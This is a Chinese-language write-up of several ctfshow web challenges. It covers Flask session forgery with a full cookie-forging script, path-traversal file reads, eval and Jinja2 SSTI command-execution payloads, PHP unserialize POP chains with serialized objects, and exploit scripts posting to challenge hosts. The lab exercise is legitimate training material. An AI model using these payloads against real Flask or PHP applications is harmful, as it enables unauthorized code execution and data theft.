?img=ZmFjZS5wbmc=
base64解码发现file_get_contents()
任意文件读取
?img=aW5kZXgucGhw
dataURL查看源码后base64解码即可得到index.php源码,里面有flag
随便注册个账号登录
根据提示需要以 admin 的身份登入
并且给的链接中展示了一部分源码,看到app.secret_key = 'S3cr3tK3y'
就能联想到flask的session伪造
加解密脚本如下
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
在命令行中解密 session 后将 role 的值改为 admin 再加密,session 可以为eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJ0ZXN0dXNlciJ9.ZC0-eA.Tjc6-iJogFi49pC1I39fMy265H8
python flask_session_cookie_manager3.py decode -s “” -c “”
python flask_session_cookie_manager3.py encode -s “” -t “”
//其中session值填在 -c 后面,SECRET_KEY填在 -s 后面
//解密得到的东西填在 -t 后面,SECRET_KEY填在 -s 后面
带着 session 重新加载一手
发现一个下载文件的路由,存在任意文件下载漏洞导致源码泄露
将 fakeflag.txt 换成其他想获取的文件即可
/download/?filename=app.py
简单审计源码即可发现在/hello
路由下存在任意代码执行
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
payload为
/hello/?eval=__import__("os").popen("cat%20/flag_is_h3re").read()
右键查看源码,注释中有app.zip,存在源码泄露
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
很容易发现不规范的模板渲染导致的flask的SSTI模板注入漏洞
这里flag在根目录下,但不方便使用斜线/
,可以用多个cd
命令绕过,或使用request
对象绕过
payload:
/hello/%7B%7B''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['__builtins__']['__import__']('os').popen('cd ..;cd ..;cd ..;cd ..;cat *').read()%7D%7D
/hello/{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}?ctfshow=cat /flag
题目内容
<?php
# 根目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
首先_ip = _SERVER["HTTP_AAAAAA"];是接收HTTP包中header头中AAAAAA的值,也是进行反序列化的值
然后在类 cycycycy 中发现任意代码执行,但cipher()
这个加密函数的逻辑未知,存在于包含的check.php文件中
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
所以这里要想办法读取check.php,可以在gBoBg类中发现可以利用PHP原生类
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
这时候可以发现,既然都有办法读check.php了怎么不直接读取flag试试呢(蠢死,当时没注意到
<?php
class gBoBg{
public $name;
public $file;
public $coos;
}
class w_wuw_w{
public $aaa;
public $key;
public $file="";
}
$a = new w_wuw_w();
$b = new gBoBg();
$b->coos= 'DirectoryIterator';
$b->file = 'glob:///*';
$b->name = 1;
$a->aaa = $b;
echo serialize($a);
//O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:10:"glob:///f*";s:4:"coos";s:17:"DirectoryIterator";}s:3:"key";N;s:4:"file";s:0:"";}
//得到flag文件名为f1agaaa,然后用SplFileObject类读取内容
payload为
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";s:0:"";}
这里讲讲我思路,在类w_wuw_w中,调用w_wuw_w::__destruct()前首先会触发w_wuw_w::__wakeup(),读取由w_wuw_w::file属性指定的文件内容,并将结果赋值给w_wuw_w::key,因此将w_wuw_w::aaa赋值为w_wuw_w::key的引用即可输出任意文件内容,可惜不太了解关于php引用的东西,思路卡在这了
<?php
class w_wuw_w
{
public $key;
public $aaa;
public $file = 'check.php';
}
$a = new w_wuw_w();
$a->aaa = &$a->key;
echo serialize($a); // O:7:"w_wuw_w":3:{s:3:"key";N;s:3:"aaa";R:2;s:4:"file";s:9:"check.php";}
得到check.php源码如下
<?php
function cipher($str)
{
if (strlen($str) > 10000) {
exit(-1);
}
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}
return $shifted;
}
这里的逻辑就是对原字符串的每个字符按规定的字符表做了移位操作,传参?get=fe1ka1ele1efp
即可通过判断执行任意代码
整个链子的思路就是cycycy::aaa() <- EeE::__clone() <- w_wuw_w::__invoke <- gBoBg::__toString() <- w_wuw_w::__destruct()
然后就能进到aaa()里面POST传参执行任意代码
<?php
class gBoBg
{
public $file = '1';
public $coos;
}
class w_wuw_w
{
public $aaa;
}
$a = new w_wuw_w();
$b = new gBoBg();
$b->coos = $a;
$a->aaa = $b;
echo serialize($a);
//O:7:"w_wuw_w":1:{s:3:"aaa";O:5:"gBoBg":2:{s:4:"file";s:1:"1";s:4:"coos";r:1;}}
题解:https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8,Boogipop师傅tql
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
在7.3.22这种高版本中修改属性个数绕过__wakeup()
是不现实的,还有另外绕过的方式,(O改为C)
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
参考文章:https://bugs.php.net/bug.php?id=81153
不过这题不用绕过__wakeup()
,die()在当前版本是不会影响反序列化的进行的
所以这里只需要绕过正则即可,不让O打头就用不了普通的类对象,不让a打头就用不了数组对象构造恶意反序列化对象,所以找找内置类(custom object)里面有啥可利用的
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array('unserialize',))) {
print $class . '::' . $method . "\n";
}
}
}
/*
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize
*/
于是可以构造恶意反序列化对象
<?php
class ctfshow {
public $ctfshow;
}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
?>
//C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}
payload为
?1%2b1>2=C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}
后面暂时有点头痛
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 22:45:25
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-30 16:34:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
url = "http://e89d2c6d-e01e-4fef-9510-bf760aa69af6.challenge.ctf.show/"
data = {
"data":"A"*50+"flag"+"\x00"*19+"B"*32+"\x00"*20+"system"+"\x00"*18+"cat /f1agaaa"+"\x00"*8
}
response = requests.post(url=url,data=data)
print(response.text)
import re
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort
url = 'http://xxx.challenge.ctf.show/' # 题目URL,先等几秒再运行
# 加密
def encrypt(plaintext, public_key):
cipher = PKCS1_v1_5.new(RSA.importKey(public_key))
ciphertext = ''
for i in range(0, len(plaintext), 128):
ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()
return ciphertext
def get_plaintext_half():
text = requests.get(url+'/update').text
return re.findall('[^@]*\.92', text)[0]
def get_public_key(public_key):
text = requests.get(url+'/shop?api=127.0.0.1:9999').text
return re.findall('-----BEGIN PUBLIC KEY-----\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n-----END PUBLIC KEY-----', text)[public_key-1]
IP = '2.56.12.89'
plaintext_half = get_plaintext_half() # 获取解密后的数据
# 获取公钥2、3
public_key2 = get_public_key(2).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
public_key3 = get_public_key(3).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
# 两次加密
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)
# 替换最终IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]
# 请求
requests.post(url + '/pass_message',data = {'message':plaintext_half_new})
# 接收明文
text = requests.get(url+'/update').text
flag = re.findall('ctfshow{.*}', text)[0]
print(flag)
input()
本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus